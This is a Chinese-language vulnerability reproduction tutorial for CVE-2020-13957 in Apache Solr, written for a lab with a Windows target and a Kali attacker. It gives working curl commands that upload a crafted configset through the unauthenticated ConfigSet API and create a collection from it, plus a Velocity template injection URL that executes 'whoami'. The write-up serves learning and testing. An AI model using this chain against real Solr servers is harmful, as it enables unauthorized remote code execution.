溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

Apche Solr 未授權(quán)上傳漏洞CVE-2020-13957的復(fù)現(xiàn)

發(fā)布時(shí)間:2021-12-28 17:17:43 來源:億速云 閱讀:128 作者:柒染 欄目:網(wǎng)絡(luò)管理

Apche Solr 未授權(quán)上傳漏洞CVE-2020-13957的復(fù)現(xiàn),很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。

0x00 漏洞描述

在特定的Solr版本中ConfigSet API存在未授權(quán)上傳漏洞,攻擊者利用漏洞可實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。

整個(gè)利用鏈流程:
上傳configset——基于configset再次上傳configset(跳過身份檢測(cè))——利用新configset創(chuàng)造collection——利用solrVelocity模板進(jìn)行RCE

影響范圍

Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2

0x01 環(huán)境搭建

solr下載地址:http://archive.apache.org/dist/lucene/solr/(本次復(fù)現(xiàn)環(huán)境為8.0.0)

靶機(jī):win10 IP地址:192.168.41.129
攻擊機(jī):kali IP地址:192.168.41.132

C:\復(fù)現(xiàn)\solr-8.0.0\bin>solr.cmd start –c

Apche Solr 未授權(quán)上傳漏洞CVE-2020-13957的復(fù)現(xiàn)

0x02 漏洞復(fù)現(xiàn)

1、解壓solr-8.0.0.zip并將解壓后的文件切換到/solr-8.0.0/solr-8.0.0/server/solr/configsets/_default/conf目錄,找到solrconfig.xml文件,并將velocity.params.resource.loader.enabled的false修改為true,即:
name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}

并將修改后的solr-8.0.0 放到kali中

Apche Solr 未授權(quán)上傳漏洞CVE-2020-13957的復(fù)現(xiàn)

2、 然后在kali中server/solr/configsets/_default/conf/目錄下打開終端,執(zhí)行命令將conf目錄下所有文件打包成一個(gè)壓縮文件mytest.zip

zip -r - * > mytest.zip

Apche Solr 未授權(quán)上傳漏洞CVE-2020-13957的復(fù)現(xiàn)

3、由于ConfigSet API存在未授權(quán)上傳, 上傳mytest.zip到win10

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip http://192.168.41.129:8983/solr/admin/configs?action=UPLOAD&name=mytest

根據(jù)CREATE得到的新configset創(chuàng)建惡意collection:

curl "http://192.168.41.129:8983/solr/admin/collections?action=CREATE&name=mytest2

&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"

在kali的瀏覽器中輸入地址,即可利用已上傳的collection進(jìn)行遠(yuǎn)程命令執(zhí)行,這里執(zhí)行的是whoami

http://192.168.41.129:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apche Solr 未授權(quán)上傳漏洞CVE-2020-13957的復(fù)現(xiàn)

看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝您對(duì)億速云的支持。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI